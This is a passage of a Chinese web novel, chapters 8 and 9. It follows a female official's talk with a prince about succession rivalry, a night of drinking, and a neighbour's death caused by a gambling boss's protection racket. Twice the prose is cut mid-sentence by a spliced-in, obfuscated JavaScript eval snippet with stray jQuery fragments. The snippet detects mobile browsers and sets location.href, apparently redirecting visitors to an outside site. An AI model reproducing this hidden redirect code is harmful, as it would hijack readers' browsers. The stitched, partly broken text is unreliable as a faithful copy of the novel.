“正是,”姜栀棠抬手抚过路边花枝,转身望着她:“姜栯想要做媒,替她父族的表姐求娶我过门。”
“她的表姐?”
姜栀棠颌首,“老林阳王当年挂帅出征浦州,她手下有个姓陈的将领因替她挡刀伤重过世,之后老林阳王娶了那位将领的遗孤陈氏,姜栯此次正是要为陈氏的表姐求娶。”
8. 第 8 章
闻赋光察言观色,他并没带什么羞赧或抗拒之色,只是淡淡地叙述。
“郡君不愿,想必姜栯的谋算是成不了了。”闻赋光的回答很矜持,很场面话。
正午时候,阳光被园中桂树银杏树微遮,有娟秀的溪流闪着粼粼的光,静谧中将眼前人的身影渡上一层金色,姜栀棠望着光中人,但见她神色平静,面容清润,如月般皎洁,一派少年风光。
“不过试探而已,她也不会真的认为我会同意。天家既不曾下旨,舅舅与我不便对立储之事表态。”前方的小径变窄了,姜栀棠盯着地面悄悄靠近了些,让二人的影子看起来仿佛并肩而行。
闻赋光暗忖,纵使这门婚事成不了,姜栯的动作越来越大胆,这对姜榓一派来说不是一个好的信号。
姜栀棠轻声道:“日前万寿节宫宴,姜榓献上了一颗夜明珠,是西域一个叫普兰的小国王室传承之物,据说它有神力,保佑了普兰数代国王平安生女,娘子可听说了吗?”
她怎么会不知道这颗珠子,那还是她亲手交给姨母的。事后她也不经意地问过姨母,那珠子究竟有什么奥秘,竟值得这样大动干戈地从西域弄来,只不过姨母含糊其辞,不肯告诉她罢了。她懒懒道:“若真如传言那样,想必这颗珠子珍贵异常。”
姜栀棠微微一笑,“姜栯原本运了一座沉香木的寿字屏风,足有一人高,除了百年的沉香木难得,工匠的雕工更是超群,实在珍贵罕见,然而与这颗珠子比起来,便也不算什么了。二人暂且不曾将斗争蔓延至朝堂,姜榓悍厉,姜栯表面温和却更要强,寿礼一事上她落了下风,着急来试探我,便是冲着舅舅与天家的姐弟情分去的。”
闻赋光觉得他看起来有点幸灾乐祸,开口揶揄:“郡君虽然不便表明立场,却似乎很讨厌姜栯?你可知我的堂弟嫁给了什么人?你与我在一处说这些话,莫非是要暗中投诚姜榓吗?”
“若是如此,倒也不错,”姜栀棠做出一副恍然大悟的样子,“想必姜榓这边一定也出得起什么父族夫族的联姻,届时我再来一个比武招亲,最后的胜者方可为仪宾。”他说罢,两人一同笑了起来。
她当然不会把玩笑话当真,不过这话也给了她一个信号:姜栀棠因为某些原因有些不喜姜栯。虽然他也并不会因此站在姜榓这一边,但起码对她来说,他不会是敌人。
忽略那些玩笑话,闻赋光正色道:“多谢郡君。”这些话对她来说是珍贵的信息,虽然不知道姜榓对姨母是否有所保留,但总之,姨母对她一定是有不少保留的,她要知道更多,才能尽量不踩雷。不管他主动和她分享信息有什么目的,他不愿说,她也不好过度探寻,只待来日吧。
“若真心想谢我,娘子现在就可报恩。”姜栀棠停了下来,抬手理了理发鬓,立在原地笑着看她。
不知道他葫芦里卖的什么药,闻赋光挑了挑眉:“好啊,您请吩咐。”
盈盈的水映在他眼中,闻赋光在里头望见了自己,那汪水潺潺流动着,“为我摘一朵花吧。”
就这样?闻赋光一头雾水地转身看向花圃,这里当然也摆着各色菊花,但她没看上那些,直接忽略了它们,转而看向了一旁盛开的木芙蓉,白色和粉色渐变的重瓣,花朵饱满,正好与他一身粉杉相配。
木芙蓉树很高,好在闻赋光轻功不差,三两下上了树,摘到了开得最盛的那朵。
“喏,你要的花。”闻赋光轻巧地下了树,跃到他面前。紧绷了这些日子,突然爬个树回归原始,还挺有意思的,她的语气中都忍不住带了些轻快。
姜栀棠没有伸手去接,他矜持地将手拢在袖中,冲她扬了扬下巴。
男人就是麻烦啊。
闻赋光无奈,只得顺他心意,将手中的木芙蓉插入眼前人发间。凑近了看才发现,他的头发生得很美,一头乌发像绸缎般光滑,她没忍住用手背轻轻碰了一下,也不知道有没有被发现。
“好看吗?”他素手抚过发间,肤色被青的玉镯和粉白的木芙蓉衬得如瓷。
闻赋光又摆出营业微笑:“灿若晨霞。”
他看起来很满意,闻赋光松了口气,在心里暗暗夸赞自己。还好她从最近练的字帖上学会了这个词,说句好听的话也不会掉块肉,机会总是留给有准备的人,这不就用上了吗。
聊了这么久,两人都没提起当夜庙中的事,闻赋光不提是因为心虚,那块刻了他小名的玉坠如今还藏在她身上呢。她在闻府自己的卧房里翻了半天,也没找到一个能妥善安置,且绝对不会被打扫的仆从发现的地方,实在无法,只好藏在身上每天这么带着。
想到玉坠一直留在她身上,若是不慎被别人看到恐怕就是一场灾祸。虽然他态度不明,却又没有要报复她的意思。而如今既然知道了他的身份,闻赋光意识到,哪怕她真的要用这块玉坠做些什么,结局死得更快的也只会是她自己。对自己来说,玉坠不仅没用,继续留着或许还有害处,闻赋光想想还是决定还给他,刚张了张口,没等她想到合适的开场白,就被急匆匆的脚步声所打断了。
来人正是前头去吩咐阮笛跑腿的侍男,见闻赋光立在姜栀棠身边,似乎并不惊讶,沉稳地施了一礼道:“郡君,帝卿那里……唤人来寻您了。”
姜栀棠微微颌首,转头冲她嫣然一笑,“舅舅寻我去应酬一二,我先走了,娘子可自便。”闻赋光不确定当着人面该作何反应,好在他也不计较,带着侍男飘飘然走了。
直到当日宴散,姜栀棠都没有再回来,当然,阮笛也没有。
黄昏的夕阳落日下,见多识广的京城居民们对两个女人在街上亲密交流,拉拉扯扯的行为见怪不怪,目不斜视地路过此地。大媱女子之间举止亲密些乃是风雅之事,一向为人所赞颂,被称为君子之交。
两位君子却没有这么坦然,下班后的闻赋光抓着同样下班后的阮笛,质问她赏菊宴那日怎么抛下自己就不见了踪影。
阮笛恨不得跳起来喊冤,大呼伤心:“我哪有?”
“那日你也看见了,一个侍男对我说一位公子的珠钗掉在了亭中,要我追上去送还,我就去了。谁知道他们走的路七弯八绕,我好不容易才追上他们!到了那地方,他们见我力气大,又要我去搬几盆菊花来,他们一会要佐酒,一会又要插花,将那些花搬来搬去,竟然没个定数!惯会难为人,直到散场才肯放过我!”
见自己说错话了,附近又恰好有个包子摊,闻赋光赶紧买了几个肉包子哄哄阮笛,“嗨呀你看这事,来来来,吃几个包子慢慢说。”
阮笛愤愤咬着包子,口齿不清地吐槽那些人有多么磨人,“你不知道他们有多想一出是一出,一会要搬这样那样的几盆,做一个花架
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705503|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,一会又说要摆成凤凰,命我们来来回回去寻他们要的花色,一会又不想要了要找几朵开得最盛的簪到发间......”
听罢,闻赋光颇为同情地拍了拍她,阮笛想起了闻赋光这位难姐难妹,话锋一转:“对了,你呢?我听那群公子说,留在亭中没走的那个就是重徽郡君,他如何?是否真的容貌极美,倾国倾城?”
美是挺美的,就是人有点怪。
闻赋光打着哈哈,“我哪能抬头细看,他在亭中独自休憩,我在附近站着发呆呗,你都不知道,我宁愿和你一起干苦力去,好过傻站那么久。”
闻赋光不打算把实情告诉她,这并非是出自于不信任阮笛,而是考量后认为越少人知道这些更好。那天她骤然穿来这里,带着那颗明珠一路逃跑不慎偶遇姜栀棠,靠威胁才一路进了城交了差。除了怪力乱神,其中还有夺嫡之事,她自身尚且被卷入其中无法脱身,知道这些对她这位朋友没好处。
两人齐齐叹了口气,终于过去了。活是难干了些,还好赏钱丰厚,阮笛揽过她的肩,“走!去喝酒!”
她们进了间不常去的酒肆。
店主是个西域男子,长长的金色卷发下长了双碧眼,面目深邃,唇色娇艳,看不出年纪。
他不分四季地常年裹着各色薄纱,身上坠着各色宝石和链子,露出从脖子上流畅地连接至身前,又从背后绕至脐间的黄金链。
一双修长白皙的手上涂着猩红的丹蔻,提着酒壶倒酒时有种说不出的魅惑,有客人为了看他,将酒液洒在了身上。店中还有几个跳舞的西域小郎,同店主一脉相承的热情大方,与含蓄矜持、端庄挽约的大媱小郎相比是别样的风情。
这样的酒肆,酒钱自然是很不美丽,要不是这次她们俩得了不少赏钱,想来这胡人酒肆一趟也是不容易。
来都来了,当然要喝些不一样的,二人要了一坛蒲桃酒,这是京中新的风尚,如今很受欢迎。不多时,有小郎摇曳着身姿,风情万种抱着新酿的蒲桃酒走来,人还未靠近,先传来的是一阵西域的奇香。
他微微欠身,葱白的手指抚过红唇,俏皮地冲她眨了眨眼,酒坛轻轻落在桌上。闻赋光觉得她还没喝上酒就有点醉了——那小郎弯腰时,手指若有似无地勾了勾她的腰带。
真是世风日下,人心不古,慷......咳咳。
多么害人的不良场所!
带着批判的目的,两人大喝了一顿。
她们明日都不当值,喝得有些微醺,闻家离酒肆远,两人索性一起在阮笛家中过夜。
阮笛是孤儿,从前在军营长大,如今租了个小院,与周边邻居的关系处得还行。
在阮笛榻上睡到日上三竿,闻赋光突然被门外一阵大嗓门惊醒,还以为是街坊邻居又来热情地送炒花生米了。
闻赋光曾听阮笛提起过,平民百姓在日常生活中容易受到周边大户和小吏们的欺压,而阮笛恰好在五城兵马司当差,邻居们与她处好了关系,平日里自然能多一份照拂,有了什么事也不至于两眼一抹黑。对她们双方来说,这都是互惠互利的好事。
门外说话声此起彼伏,闻赋光意识渐渐回笼,拍了拍身旁的阮笛,毫无动静。转头只看到她如婴儿般的睡眠,平静且安详。她怕是门外有什么急事,只好自己从床上爬了下来,揉着眼去开门。
9. 第 9 章
门开了,孙大妈却不是来送东西的。阮笛家住河边,门口这条石板路有些窄,且地面有些不平,日常行人进出倒不算很受影响,但要搬什么大件就不那么通畅了。
此时几个青壮年女子抬着一口棺材,小心翼翼地从狭窄的路上通行,孙大妈正在前头扯着嗓门指挥她们。艰难的通行中,前头的相帮的一人不慎踩上一块凹下去的石板,晃了晃身子,眼看棺木就要碰到墙壁上,闻赋光快步上前,双手托了一把,好歹稳住,那人冲她点点头,笑了笑。多了一人帮忙,棺材最后还是顺利地过了这段窄路。
目送棺木离开狭窄的石板路,转而拐个弯进了条宽敞些许的路,闻赋光拍了拍手,叉着腰回身过去,却见孙大妈叹了口气,嘴里念叨着作孽。
闻赋光忍不住问道:“这是怎么了?”
孙大妈擦擦眼角,“是老周走了,就是柳树巷那户做油纸伞的,闻娘子可认识?”
“是之前在集市上摆摊卖伞的那位吗?”闻赋光有点印象。
“就是她。”孙大妈感叹道:“真是作孽,老周多好的一个人啊!前些年我家大妮上学堂,回家路上下了大雨,老周看她一个人走回家,快淋透了,好心拿了把伞给她,不收她钱,那伞现在还在我家墙角立着呢。”
闻赋光心有戚戚,叹道:“生老病死,人总是要有这一遭的。”
“她不是老死的,好人不长命,她是被那起子黑心肝的给害了!还有她家妮子的腿,也叫人给打折了,往后还不知道怎么活呢。”孙大妈抹了抹泪,咬牙恨道。
“什么!她家不是才在临和街盘了个铺面吗?前儿不是还叫了几个人去放炮仗?”阮笛听到动静终于醒了,没想到走出来就听见孙大妈含恨的骂声,惊愕不已。
“若没有那铺子,想必老周家里还不会出事呢!”孙大妈冷哼一声,似乎对其中缘故很清楚。
闻赋光和阮笛对视一眼,继续听她说:“老周做了一辈子油纸伞,临老了好不容易攒了点积蓄,在临和街上盘了个小铺子,想着将来就不用再被风吹,被日头晒,被雨淋,被赶来赶去。”
“可是她们没想到,临和街上那个说是商会会长的,要她们掏钱交会费,又要交什么管理费,不交就不许开张。老周把一辈子的积蓄都搭进了这个铺子,开店的有些钱还是借的,此时怎么掏得出这一笔笔钱呢?她们不交费,商会的人就派小流氓去守着店,谁也不许买伞,卖不出伞,就更是赚不到钱。赚不到钱,又要等何时才能交上会费?老周一家急死了,她家妮子年轻,跟那几个小流氓争执起来,挨了打,腿都给打折了,老周心里有气,一时急火攻心,竟然,就去了!”
听完孙大妈的一番解释,两人沉默下来。
老周做了一辈子油纸伞,那些伞不知为多少行人遮蔽了风雨。可在这世上,有些风雨不是油纸伞能挡住的。
闻赋光沉声问:“这些事没人能管吗?”
阮笛叹气:“商户们要想安安生生做生意,就得忍受商会巧立名目收‘保护费’。这是做生意的‘规矩’,官府不管商会内部的规矩。”
“那商户们就乖乖听话?”
“那是因为有时候商会确实能帮上商户的忙,比如管控价格,比如若有地痞流氓来找事,也总有商会在从中周旋,有困难的时候,商会确实有些用。但没有困难的时候,商会就是商户们遇到最大的困难。”阮笛很无奈,她当差的时间比闻赋光长,在这方面知道得略多些。
“那个商会会长,如此无法无天,不知是什么人?”
孙大妈叱道:“听说那会长是开赌坊的,手下养了一群打手,威风得很!谁敢管?谁能管?”
这是在京城中,天子脚下,一个普通的赌坊老板自然不会因为手底下养了一群打手就没人敢整治,她后头很难没有人。
“你说对了。”一家小饭馆中,阮笛紧皱的眉头自从刚刚听过孙大妈的话就一直没松过,“这个赌坊老板,确实有后台,而且来头不小。”
“是谁?”闻赋光夹了口炒菜,小饭馆的手艺比姜栀棠那里吃的一顿差远了,但她此时在意的不是饭菜,同样皱着眉追问道。
阮笛压低了声音:“那个赌坊老板叫何长翊,她有个弟弟进了林阳王府的后院。”
林阳王府,那就是姜栯的人了。
闻赋光凑近小声问:“你怎么知道的?”
“我怎么知道的?我同她打过照面!有次巡逻,我撞见她手底下几个打手把人拖到大街上,不管不顾地当街殴打!既然看见了,我自然要上前查问,纠缠之下何长翊亲自出来,开口闭口的就是她可是林阳王的夫姐,要给我们好果子吃呢!我不信,华其真不让我把人带走审,非把我拉走了。真不知道林阳王为什么要留这样的人在身边!”阮笛厌恶地说。
“小点声!”闻赋光手指关节敲了敲桌面,思考半响道:“华其真可是救了你一把,你若得罪了她,就是得罪了林阳王,恐怕此刻也不能这样好好坐在这里了。”
对百姓来说,谁当皇帝都是一样过日子。说起储君之争,若非是身处漩涡之中,恐怕认识的都是抽象的概念,而不是具体的人,也难怪阮笛心中并无什么敬畏。“你想想,何长翊干的是什么营生?”
阮笛翻了个白眼,“赌坊啊,哦,还放印子钱,逼债,还不上钱的就逼人卖子,再不然就把人剁手跺脚,打残打死,害得别人家破人亡。”
闻赋光替她总结:“都是搜刮民脂民膏,赚黑钱的营生,不干净但来钱快。”
她们坐在角落里,附近的两三桌没有其他食客,另一头有几人正在猜拳喝酒,热闹得很,喧嚣盖过了角落里两人种种传出去要杀头的话。
闻赋光镇定地吐露从姜栀棠那里得来的消息:“前些日子万寿节,她献上了极珍贵的宝物给天家做寿礼,一樽沉香木的屏风,足有一人那么高。你想想它的价值,这可是举国再找不到第二件的宝物了,林阳王府也不曾出仕经商,更别提她们平时需要上下打点,邀买人心。你说,她需要的是什么?”
“钱财,越多越好。”阮笛灌了口酒。
闻赋光目光凌厉:“正是!她要敛财,然而天家不曾发话让宗室诸女入朝历练,她的手伸不到朝堂,便是通过一些小官运作,那也有限,只能通过一些像何家这样的人上供得以维持。姜栯在人前一向温良宽和,可既然要敛财,就不得不用何长翊,便是何长翊嚣张跋扈,她自会装作不知。”
阮笛叹了口气,低低道:“我信任你的为人,悄悄跟你说一句心里话,若是姜栯这样的人当了储君,乃至将来的天家,那大媱恐怕也要跟着完了。只是我们人微言轻,竟要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705504|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼看何长翊这样的人得意,真是可恨!”
闻赋光不曾向任何人透露自己曾为姜榓办过事,在同僚们眼中,也从未将她与夺嫡之事扯上什么关系,顶多是觉得闻家卖男求荣罢了。
况且在大媱,虽然没人光明正大地出来嚷嚷立储之事,可私底下关起门来谁家不谈?阮笛信任闻赋光,两人刚被老周的事一同冲击,倒也不怕与她发发牢骚。
闻赋光此时只是淡淡抿了口酒附和,“是啊,要是有人收拾收拾她就好了。”
两人之间气氛沉郁,闷头扒完饭打算各回各家。
闻赋光正面朝门口坐着,叫来伙计正付账时,见有个毛茸茸的脑袋探头探脑地进了饭馆,是个十三四岁的小郎,挎着个竹篮朝她们走来。小郎大大方方一敞竹篮,原来是几支秋海棠,“两位娘子可要买花吗?都是刚摘的,你们瞧,还带着露水呢,两文钱一支,送给心上人戴在鬓边,保准他喜欢,比花儿还俏!”唇红齿白的脸上带着些许粉晕,冲她们绽开一个并不谄媚的笑,十分可爱。
她顺手把找的零钱换了这几支花,小郎见有人包圆了最后几支花,声音脆生生地冲她道了谢,欢快地飞出了饭馆。
这小小的插曲让气氛松懈下来。闻赋光捻起一支,以花为剑向对面的阮笛虚刺过去,手腕反转间花朵擦着阮笛侧脸而过,阮笛一闪,闻赋光手指夹着花枝转了一圈,恰好停在她面前:“心上人,送你了。”
她总爱玩些小把戏,阮笛习惯了,大大咧咧地搂过花枝,朝她挤了挤眼:“多谢官人,若有下辈子,奴家一定以身相许。”
出了饭馆两人分开,闻赋光想起字帖写完了,打算买一本再回家,打算朝书坊走去,转身却看见了眼熟的人。
是肖从晗,他一身浅青灰的衣衫,料子虽然平平但没有补丁,比上次那身新,看来他过得稍好了些。刚才提着篮子卖花的小郎站在他身旁,两人似乎是认识的,还很熟,正在说着什么。
闻赋光视线扫过他们,视线正好与肖从晗对上,顺着他的目光,卖花小郎也看见了闻赋光。肖从晗转头对他说了句什么,他恍然大悟,拉着肖从晗走了过来。
肖从晗对她一福:“闻娘子,巧遇。”
闻赋光还礼,“肖郎君,好巧啊。”
“这是我弟弟从青。”肖从晗含笑,“他来卖花,没想到买走最后几支的就是娘子你。”
“鲜花娇艳,顺手买的。我去书坊,你们呢?”
“那我们可以一道走了!我们要去附近的锦绣坊买新的丝线。”一道清脆的声音突然加入谈话。
“从青。”肖从晗轻斥他莽撞插话。
“那走吧。”闻赋光点头示意。
肖从青性格活泼,叽叽喳喳围绕着闻赋光说话,话密但并不惹人生厌。
“闻娘子,我能叫你姐姐吗?”他忽闪着眼睛,一派活泼。
“可以啊,小郎君。”闻赋光随意道。
“姐姐叫我从青吧,”他原是站在外侧,为了和闻赋光说话,挤进了她和肖从晗之间,“姐姐,我听阿兄说起过你,摆摊的那天是你帮了阿兄,我们的绣品才能全都被卖完。而且多亏了你提醒,我们去绣铺问过,锦绣坊的掌柜说可以收,我们就放过去寄卖了,没想到卖得很快!”肖从青仰头看着闻赋光的眼睛,笑容灿烂。